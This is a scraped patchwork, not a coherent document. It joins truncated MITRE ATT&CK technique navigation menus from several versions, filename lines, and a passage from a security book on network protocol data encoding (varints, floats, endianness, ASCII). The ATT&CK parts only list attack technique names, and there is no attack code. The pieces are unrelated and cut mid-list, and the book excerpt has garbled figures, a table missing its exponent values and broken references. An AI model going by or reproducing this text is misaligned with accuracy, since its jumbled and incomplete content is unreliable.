on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name
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versions_v7-beta_techniques_T1556.txt
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Currently viewing ATT&CK v9.0 which was live between April 29, 2021 and October 20, 2021. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Rogue Domain Controller Rootkit Signed Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query
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versions_v9_techniques_T1482.txt
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Currently viewing ATT&CK v11.3 which was live between April 25, 2022 and October 24, 2022. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Wordlist Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange XPC Services Native API Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Additional Email Delegate Permissions Additional Cloud Roles SSH Authorized Keys Device Registration BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell IIS Components Terminal Services DLL Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Debugger Evasion Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Email Hiding Rules Resource Forking Process Argument Spoofing Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Safe Mode Boot Downgrade Attack Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Double File Extension Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools HTML Smuggling Plist File Modification Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Reflective Code Loading Rogue Domain Controller Rootkit Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification System Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Mavinject MMC System Script Proxy Execution PubPrn Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning DHCP Spoofing Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Interception Multi-Factor Authentication Request Generation Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud
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versions_v11_techniques_T1564.txt
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Efficient transfer of network data has historically been very important. Even though today’s high-speed networks might make efficiency concerns unnec- essary, there are still advantages to reducing a protocol’s bandwidth. It can be beneficial to use variable-length integers when the most common integer values being represented are within a very limited range. For example, consider length fields: when sending blocks of data between 0 and 127 bytes in size, you could use a 7-bit variable integer representation. Figure 3-3 shows a few different encodings for 32-bit words. At most, five octets are required to represent the entire range. But if your protocol tends to assign values between 0 and 127, it will only use one octet, which saves a considerable amount of space. 40 Chapter 0x3F0x3F as 7-bit variable integer 0x80 0x010x80 as 7-bit variable integer Lowest address 0x84 0x860x01020304 as 7-bit variable integer 0x88 0x 0xFF 0xFF0xFFFFFFFF as 7-bit variable integer 0xFF 0xFF 0x0F Figure 3-3: Example 7-bit integer encoding That said, if you parse more than five octets (or even 32 bits), the resulting integer from the parsing operation will depend on the parsing program. Some programs (including those developed in C) will simply drop any bits beyond a given range, whereas other development environ- ments will generate an overflow error. If not handled correctly, this inte- ger overflow might lead to vulnerabilities, such as buffer overflows, which could cause a smaller than expected memory buffer to be allocated, in turn resulting in memory corruption. Floating-Point Data Sometimes, integers aren’t enough to represent the range of decimal values needed for a protocol. For example, a protocol for a multiplayer computer game might require sending the coordinates of players or objects in the game’s virtual world. If this world is large, it would be easy to run up against the limited range of a 32- or even 64-bit fixed-point value. The format of floating-point integers used most often is the IEEE for- mat specified in IEEE Standard for Floating-Point Arithmetic (IEEE 754). Although the standard specifies a number of different binary and even decimal formats for floating-point values, you’re likely to encounter only two: a single-precision binary representation, which is a 32-bit value; and a double-precision, 64-bit value. Each format specifies the position and bit size of the significand and exponent. A sign bit is also specified, indicating whether the value is positive or negative. Figure 3-4 shows the general lay- out of an IEEE floating-point value, and Table 3-2 lists the common expo- nent and significand sizes. Network Protocol Structures SignificandExponent Sign IEEE floating-point format MSB LSB Figure 3-4: Floating-point representation Table 3-2: Common Float Point Sizes and Ranges Bit size Exponent bits Significand bits Value range 32 8 23 +/– 3.402823 × 64 11 52 +/– 1.79769313486232 × Booleans Because Booleans are very important to computers, it’s no surprise to see them reflected in a protocol. Each protocol determines how to represent whether a Boolean value is true or false, but there are some common conventions. The basic way to represent a Boolean is with a single-bit value. A 0 bit means false and a 1 means true. This is certainly space efficient but not necessarily the simplest way to interface with an underlying application. It’s more common to use a single byte for a Boolean value because it’s far easier to manipulate. It’s also common to use zero to represent false and non-zero to represent true. Bit Flags Bit flags are one way to represent specific Boolean states in a protocol. For example, in TCP a set of bit flags is used to determine the current state of a connection. When making a connection, the client sends a packet with the synchronize flag (SYN) set to indicate that the connections should synchro- nize their timers. The server can then respond with an acknowledgment (ACK) flag to indicate it has received the client request as well as the SYN flag to establish the synchronization with the client. If this handshake used single enumerated values, this dual state would be impossible without a dis- tinct SYN/ACK state. Binary Endian The endianness of data is a very important part of interpreting binary pro- tocols correctly. It comes into play whenever a multi-octet value, such as a 32-bit word, is transferred. The endian is an artifact of how computers store data in memory. 42 Chapter Because octets are transmitted sequentially on the network, it’s possible to send the most significant octet of a value as the first part of the transmis- sion, as well as the reverse—send the least significant octet first. The order in which octets are sent determines the endianness of the data. Failure to correctly handle the endian format can lead to subtle bugs in the parsing of protocols. Modern platforms use two main endian formats: big and little. Big endian stores the most significant byte at the lowest address, whereas little endian stores the least significant byte in that location. Figure 3- shows how the 32-bit integer 0x01020304 is stored in both forms. 0x01 0x 0x as 32-bit big endian word 0x03 0x 0x04 0x 0x as 32-bit little endian word 0x02 0x Lowest address Highest address Figure 3-5: Big and little endian word representation The endianness of a value is commonly referred to as either network order or host order. Because the Internet RFCs invariably use big endian as the preferred type for all network protocols they specify (unless there are legacy reasons for doing otherwise), big endian is referred as network order. But your computer could be either big or little endian. Processor architectures such as x86 use little endian; others such as SPARC use big endian. N ote Some processor architectures, including SPARC, ARM, and MIPS, may have onboard logic that specifies the endianness at runtime, usually by toggling a proces- sor control flag. When developing network software, make no assumptions about the endianness of the platform you might be running on. The networking API used to build an application will typically contain convenience functions for converting to and from these orders. Other platforms, such as PDP-11, use a middle endian format where 16-bit words are swapped; however, you’re unlikely to ever encounter one in everyday life, so don’t dwell on it. Text and Human-Readable Data Along with numeric data, strings are the value type you’ll most commonly encounter, whether they’re being used for passing authentication creden- tials or resource paths. When inspecting a protocol designed to send only Network Protocol Structures English characters, the text will probably be encoded using ASCII. The original ASCII standard defined a 7-bit character set from 0 to 0x7F, which includes most of the characters needed to represent the English language (shown in Figure 3-6). 0 1 2 3 4 5 6 7 8 9 A B C D E F NUL SOH STX ETX EOT ENQ ACK BEL BS TAB LF VT FF CR SO SI DLE DC1 DC2 DC3 DC4 NAK SYN ETB CAN EM SUB ESC FS GS RS US SP ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ DEL Control character Printable character Lower 4 bits U pp er b its Figure 3-6: A 7-bit ASCII table The ASCII standard was originally developed for text terminals (physi- cal devices with a moving printing head). Control characters were used to send messages to the terminal to move the printing head or to synchronize serial communications between the computer and the terminal. The ASCII character set contains two types of characters: control and printable. Most of the control characters are relics of those devices and are virtually unused. But some still provide information on modern computers, such as CR and LF, which are used to end lines of text. The printable characters are the ones you can see. This set of char- acters consists of many familiar symbols and alphanumeric characters; however, they won’t be of much use if you want to represent international characters, of which there are thousands. It’s unachievable to represent even a fraction of the possible characters in all the world’s languages in a 7-bit number. Three strategies are commonly employed to counter this limitation: code pages, multibyte character sets, and Unicode. A protocol will either require that you use one of these three ways to represent text, or it will offer an option that an application can select. 44 Chapter Code Pages The simplest way to extend the ASCII character set is by recognizing that if all your data is stored in octets, 128 unused values (from 128 to 255) can be repurposed for storing extra characters. Although 256 values are not enough to store all the characters in every available language, you have many differ- ent ways to use
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attackingnetworkprotocols_ebook.txt
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Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Cloud Storage Object Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Group Policy Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Location Discovery System Language Discovery System Network Configuration Discovery Internet Connection Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Collection Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Browser Session Hijacking Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Code Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Fast Flux DNS Domain Generation Algorithms DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Execution Broadcast Receivers Command-Line Interface Native Code Scheduled Task/Job Persistence Broadcast Receivers Code Injection Compromise Application Executable Foreground Persistence Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Scheduled 